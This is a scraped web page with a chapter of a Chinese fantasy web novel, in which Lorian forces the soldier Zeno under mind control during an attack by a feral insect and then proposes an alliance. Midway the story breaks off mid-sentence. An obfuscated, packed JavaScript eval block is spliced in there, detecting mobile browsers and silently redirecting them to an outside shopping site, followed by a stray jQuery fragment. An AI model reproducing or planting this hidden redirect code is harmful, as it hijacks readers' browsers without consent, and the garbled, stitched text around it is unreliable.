文趣网 > 其他小说 > 雄虫他穿回来了 > 8. 控制
    服务厅已经变空荡,雄虫被疏散,安抚所的军雌安保纷纷赶来。

    咚!这虫横冲直撞不讲道理,像不知道疼,不管军雌如何攻击,它蠕动的身躯也没有停止,只是死死冲向洛里安。

    洛里安在护卫的保护下勉力躲开,眉头紧缩。

    人多眼杂,他不方便使用禾族秘术。

    而泽诺也是一声不吭跟着躲,完全没有要出手的意思。

    洛里安看他一眼:“你怎么不出手?”

    “阁下好狠心,我还没恢复好。”泽诺哼哼道,眼疾手快一把拉过洛里安,堪堪躲开返祖虫的血盆大口,面前的地板碎屑漫天。

    他笑起来,攥紧洛里安的手,眼眸明亮执着:“您怎么不尝试一下呢?”

    原来在这里等着。

    “是太多旁观者了,还是担心监控的问题?啊,我知道有个合适的地方。”

    泽诺神秘地竖起食指,忽然拉着他往拐角躲去,屈指在墙面敲击,一个卡顿的动作,墙体迅速翻面,洛里安被带到一间舒适明亮的大堂里。

    雄虫防卫所?

    洛里安盯着他:“没来过安抚所?”

    “这不是重点,阁下,现在是你的舞台,你对那只蜘蛛做了什么现在也可以对这只虫子做什么。”泽诺展臂,脸上的神采隐隐与那天电梯里重合。

    混乱的场景,还有添乱的家伙,多么相似。

    洛里安一手掐住他的下颌,没什么表情看着雌虫再次泛红的肌肤。

    因为靠得近,他能感受到蛊虫间疯狂的吸引力和感应,那张笑脸下的兴奋根本藏不住。

    他声音很沉:“这是你想要的游戏?确实没意思。”

    泽诺挑眉。

    “我不喜欢不听话的孩子,也不喜欢看不懂时机的孩子,我给过你很多机会了,林塞,你让我很失望。”洛里安语气平平。

    泽诺被迫抬起头,两手握住洛里安那只控住他的手,手指并不安分,狡猾地滑进洛里安的手套。

    强行忍耐那股强势冲撞的草木味,像是被丢入午后的大雨中,狼狈与偏执隐没在他眯眼的笑意里。

    “是吗?”

    军雌的手指粗糙,滑动间带来阵阵痒意。

    那双手倏忽卡着洛里安的臂弯,猛地将他往一旁拉去。

    砰!

    返祖虫顺着气息再次冲来!半面遮挡墙轰隆倒塌,洛里安被泽诺护住,略微掩了下口鼻,在尘烟里低咳几声,除此之外并无大碍。

    而泽诺就多了几分狼狈,即便军雌身体素质强悍,毕竟也不是铜墙铁壁,那一冲击中炸开的碎屑让他额间鲜血四溢,伴随低咳,发黑的血液倾洒在地面。

    不知他哪里受伤,身子微微往洛里安身上靠了下,并且在无意识痉挛,脆弱溶解在他抬眼的粲然一笑中,眉里眼里写满“来啊,还不出手吗,那就太晚了”的疯狂。

    防卫所的安全门没有关实,他故意的。

    疯子。

    洛里安再次确认泽诺就是个危险、失控的雌虫,言行举止只是为了自己游戏的有趣。

    游戏。

    与泽诺对视间,洛里安扯唇,毫不遮掩放出信息素直冲对方,在对方因不适蹙眉时,问:“好玩?”

    泽诺喘着粗气,狼狈不已,眼尾抹上红意,泪光中,他笑出声:“如果能亲眼看一下阁下的能力,我死而无憾,好玩。”

    “如果看不到,”泽诺微笑,彼此贴得更近,呼吸间的气息交融,他脸上过敏的潮红贴近兴奋似的欲望,“有阁下与我殉情,我也不亏。”

    那双眼眸浮现熟悉的变化,洛里安沉默中轻轻一哂。

    不知所谓。

    同时,他又感到荒谬的困惑。

    为什么会有虫宁愿用一身伤来换取一个“好玩”的体验,那样愚蠢而没有意义。

    也不知道范贝德福是出于什么心态选了这样的雌虫接近自己,嫌他作风太公事公办,一定要送来一份整蛊“礼物”,看他方寸大乱?

    洛里安压着翻涌的情绪,看着这个狼狈、毫不遮掩的家伙,从风衣内衬里抽出一根安抚烟。

    他试着理解,有些恍然大悟。

    或许是泽诺察觉不对,担心洛里安手上有他不能理解的秘密武器,导致暗杀任务失败。

    如果不是那一趟穿越,洛里安很可能在刚落地艾瑞斯-213没多久就该长眠于此,可他那么凑巧躲开了种种死亡的可能。

    所以他想逼出洛里安到底拥有怎样的武器。

    想通这一点,洛里安呼吸再次变得平缓,恢复到原本游刃有余的状态。

    “想看?”

    他咬着烟嘴没有点燃,冷眼看着泽诺在操控中站直身,对方表情因伤势而抽动,那神情中的错愕有些取悦到洛里安。

    “那要礼貌表达尊重。”

    他像个不满的家长,轻斥道:“站好。”

    等泽诺站直,他伸手捏住泽诺的下巴。

    泽诺眉头皱起,应该是疼了,但没有吭声。

    洛里安改捏为勾,托着对方看向被自己撞出的洞口卡住的返祖虫。

    “好好看。”

    返祖虫还没来得及发起下一轮进攻,就忽然被一团黑色的东西扑倒在地。

    那只电梯里的蜘蛛。

    两只返祖的生物扭曲地扭打起来,在防卫所里来回滚动,没一会儿残肢、血液在暴力中显出一片狼籍。

    泽诺被强行控着站直,伤口扯得痛,小口吸着气,看到这样一幕,他发出一声带着颤音的惊叹。

    “您……”泽诺吸了口气,笑起来,“您驯服了那只蜘蛛?您让它闻了信息素?你们匹配成功了?阁下还真是荤素不……唔!”

    泽诺无法控制自己的双手,只能眼睁睁看着自己一手掐住自己的喉咙,一只手用力捂住自己的口鼻,直至一颗生理性的泪滑落,他才终于拿回自己的掌控权,弯腰大口喘气。

    又因为疼痛,身子止不住颤抖,每一次的呼吸都像在锈里吮/吸。

    在监控死角的真空中,洛里安略微放松姿势,倚着墙,眼皮耷拉,灰蓝的眼眸再看不见一丝温情,静静注视泽诺表情的变化。

    红色手套指间捏着那根没有点燃的烟,橙色的烟嘴已经落下深浅不一的咬痕,他的下颌绷紧,轻蹙的眉间流露出一丝“真麻烦”的叹息。

    “这样死去太冤枉和憋屈了,”泽诺也叹,“忍了这么久,我还以为您会愿意陪我多玩一会儿。”

    洛里安意识到,他或许能控制这家伙的实时行动,但无法控制他的下一步。

    泽诺·林塞不仅是一张范贝德福的暗杀明牌,也是一张鬼牌,一把难以下手使用的双刃剑。

    还要留着吗?

    “要杀我了吗?”泽诺微笑。

    洛里安重新看向在相互厮杀的两只返祖生物,被返祖虫撞击触发的防御门关死,门外隐隐穿来敲击的声音。

    要杀他吗?

    蛊虫在不断传递泽诺的兴奋。

    为什么这么

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17765990|209688||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    兴奋?

    是真的不怕死吗?

    洛里安突然想到这间防卫所的秘密通道在楼梯缝隙间,还要通过敲击判断按钮,不是对自然安抚所了解的虫不会知道。

    一只对雄虫天然信息素过敏的雌虫为什么想要了解自然安抚所?他的等级是A,艾瑞斯-213的自然安抚所几乎不会有匹配的雄虫。

    为什么反复造访安抚所?甚至对安抚所里的防卫所通道位置都了如指掌。

    是在……找什么吗?

    “范贝德福应该很不喜欢你。”洛里安突兀地转移话题。

    泽诺笑容变淡。

    “你雌父是第一位在政治联姻婚内出轨并有私生子的军雌,为此宁愿放弃家族荣耀和雄主离婚,范贝德福那段时间成为笑柄,简直气疯了。”

    “所以他不可能让你雌父顺遂,不仅没有离婚,还打着元老院的旗号说雌君被魔鬼蛊惑,借此要将你雌父囚禁在他的府邸里。”

    “事态才平息,你的雌父、雄父突然消无声息任何下落,只留下私生子,按帝国法律要求被接回林塞家族抚养,”洛里安睥睨着他,“范贝德福肯给你家人的线索了?”

    否则以泽诺的性格能力不应该受范贝德福的控制。

    如果能有完全不会被监测出来的伪装器,为什么不能有持续吸引返祖虫类注意的道具呢?

    他审视地自上而下打量泽诺,冷峻的目光像把刀似乎要划开泽诺的衣服检查探究。

    听到这个问句,泽诺忍不住笑出声,笑得嘲讽又张狂,五脏六腑连着皮/肉的伤痛冲击他的肉/体依然没能停下这个笑。

    他攥紧衣襟企图通过弯腰遏制痛的蔓延,指节发白。

    范贝德福确实足够狠,连杀他前都要嘱咐再往他心脏上捅一刀。

    被强行屏蔽的过往在泽诺脑中翻滚,他看着自己的雄父、雌父给他一个吻后一去不返,看着被雌父托付的领养虫迫于雄主压力将他送回林塞家族,看着自己在圣像下悲恸地祈祷,祈祷雌父雄父回来将他带走。

    然而圣像后只有范贝德福高傲阴冷的身影,带着讥讽,笼罩住他整个少年时光,摧毁他所有的希望与信仰。

    家人的线索?

    哈。

    惺惺作态。

    好一会儿,泽诺才克制住笑意,竖瞳的眼眸直勾勾盯着洛里安,那副久违的凶兽神态又出现。

    “怎么?范贝德福肯让您晋升成为祭司?”

    他没等洛里安回复,又松懈下浑身肌肉,懒洋洋依靠墙滑坐,抬头平静地说:“算了,和我没关系,我嘛,反正只是卑劣的私生子,如今能让元老院A级雄虫阁下亲自动手,也是死而无憾。”

    返祖虫最后噗通两下,可惜被蜘蛛死死咬住,毒液作用下,终于僵着身子慢慢没了动静。

    洛里安眯了眯眼,指尖将香烟捏得更紧,若有所思:“你的雌父雄父都还没找到,你甘心?”

    一个两个都喜欢问这种问题。

    泽诺觉得好笑又没意思,懒散地瞥他一眼,不想说话,但舌头不受控制,十分直白说:“我又不是没心没肺的蠢货,谁会甘心?”

    “后半句我认可,”洛里安嘴角似有若无动了下,“前半句难说。”

    泽诺脸色不太好,不受控继续说:“你对我做了什么?为什么我会变成这样?”

    “不是如你所愿?”洛里安蹲下与泽诺平视,“既然你因为查找雄父失踪的事情一路来到艾瑞斯-213,不如一起合作?”